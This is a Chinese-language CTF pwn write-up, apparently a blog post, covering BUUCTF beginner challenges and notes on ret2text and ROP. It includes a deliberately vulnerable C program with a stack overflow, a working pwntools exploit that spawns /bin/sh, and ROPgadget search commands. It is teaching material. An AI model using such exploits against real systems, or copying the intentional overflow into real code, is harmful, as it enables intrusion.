pwn 1

Buuctf前四题

(一)test_your_nc

1.下载文件,将文件放到ida中静态分析

2cbfda7552fb4a12800f6599a4078fa2.png

2.F5查看反编译的代码,main函数中发现只有system

fec7b029f48d43a2a9cb5c1bf46518de.png

 4.写执行命令拿到flag

e4246e090907450a92f4eb858fe46b30.png

1bb8e2b9257a43ebabbcf2f4a3cb71b6.png

 5.复制提交

(二)rip

1.终端输入chechswc pwn1查看文件

2.将文件用ida打开

8a7b06d3277145bea11defbaeb419117.png

 3.F5查看反编译后的代码,在列表的fun函数中找到system

3ddb6d27186f484c894765dff28b0177.png

4.找到其首地址

5.计算偏移量

6.写脚本

cdda0e58bb91408b834cd0e47db650c0.png

 运行,得到flag

1fcec85d5bf2415384340b64485356a7.png

 (三)warmup_csaw_2016

 1.checksec查看文件

2.将文件用ida打开,按shift+F12查看字符串,找到cat flag.txt

3564546f759848b18814b904ba252cc9.png

3.双击进入,发现其相关函数

9f66e076743c49b4b09e4d63fd383e6f.png

 4.找到相关函数,F5反编译,发现system

c8bd1422a6054cb6a3100f08ef8c07cd.png

 5.找到函数地址

4b70658bcdac4196951f3c4ddab4f73d.png

 6.查看主函数,计算偏移量

7.编写脚本,运行得出flag

633f634af4d548a781e3f5f2ec823102.png

679103ef606543e7b3c56f15bf66fb22.png 

 (四)ciscn_2019_n_1

1.checksec查看文件

2.将文件用ida打开,F5反编译,发现func函数中有flag文件

36faca9f7bfc441caf5109c852be5381.png

 3.计算溢出量

4.写脚本,运行得flag

46dcce5225c14bec9d3c6f54211414cd.png

 (十四)baby_rop

1.checksec查看文件

2.将文件用ida打开,shift+F12查看字符串,找到system和/bin/sh,双击找到地址

fb4a9b79c59143238017568b32b16afe.png

fb61319a430a437a80b67dd0d8c588ac.png 

76f2b2d26323418d9f75bb6f3285f12b.png

3.F5反编译,查看主函数,计算

138f1aeb7c794e4281a0b7f0a331d381.png

4.写脚本,运行得到flag

ec87ce561c5143638b71861c1d16bbfa.png

笔记

不同架构下寄存器传参方式

64位x86架构

1.RDI (Destination Index): 用于传递第一个整数参数。

2.RSI (Source Index): 用于传递第二个整数参数。

3.RDX (Data Register): 用于传递第三个整数参数。

4.RCX (Counter Register): 用于传递第四个整数参数。

5.R8: 用于传递第五个整数参数。

6.R9: 用于传递第六个整数参数。

若参数超过6个,超过参数用栈传递

32位架构

参数直接用栈传递

ret2text

原理

ret2text的原理是控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP。这时,我们需要知道对应返回的代码的位置。当然程序也可能会开启某些保护,我们需要想办法去绕过这些保护。

前置条件

1.程序存在栈溢出漏洞,可以覆盖返回地址。

2.程序.text段中存在可以执行恶意命令的代码片段,或者可以利用ROP技术拼接多个代码片段。

3.程序没有开启地址随机化或者可以泄露地址信息,可以确定代码片段的地址。

构造ROP传参

多数函数并不会直接将“shell = '/bin/sh'”这种危险字符串和system函数放在一起,此时就需要传参。

32位中构造ROP传参

#include<stdio.h>

#include<stdlib.h>

#include<unistd.h>

char shell[] = "/bin/sh";

int func(char *cmd){

    system(shell);

    return 0;

}

int dofunc(){

    char a[8]={};

    write(1,"inputs: ",7);

    read(0,a,0x100);

    return 0;

}

int main(){

    dofunc();

    return 0;

}

 

利用溢出覆盖返回地址进入func函数内部,再将参数一指向“/bin/sh”的储存地址即可。其中要注意的是r处需要我们进行垃圾数据的填充。

 

from pwn import *

#配置信息

context(log_level='debug',arch='i386',os='linux')

#context(arch='arm64',os='linux')

#打开路径

file = './ret2text_func2_x86'

io = process(file)

elf = ELF(file)

#注入信息

sh_addr = 0x804c018

#ret_addr = 0x8049186

ret_addr = elf.symbols['func']

padding = 0x14

payload = padding*b'a' + p32(ret_addr) + p32(0) + p32(sh_addr)

dem = b'inputs:'

io.sendlineafter(dem,payload)

io.interactive()

64位中构造ROP传参

对x64的参数,大部分情况下,前六个参数储存在寄存器内,无法直接使用简单的栈溢出修改寄存器内容,这时候我们需要解除ROPgadget工具进行辅助。

ROP(Return Oriented Programming),即返回导向编程,通过栈溢出内容覆盖返回地址,使其跳转到可执行文件中已有的片段代码中执行我们选择的代码段。

知道了ROP工具的功能,我们需要做的是

1.修改rdi的值(可使用代码pop rdi ; ret)

2.在栈中放入‘bin/sh’经由pop提交给rdi

3.进入func函数内调用system函数

 利用ROPgadget查找需要的代码行--pop rdi ; ret

ROPgadget --binary ret2text_func2_x64 --only 'pop|ret'

也可用ropper查询。

ropper --file 文件名 --search "pop|ret"

 

 

 

 

 

 

 

 

 

 

 

  • 54
    点赞
  • 32
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值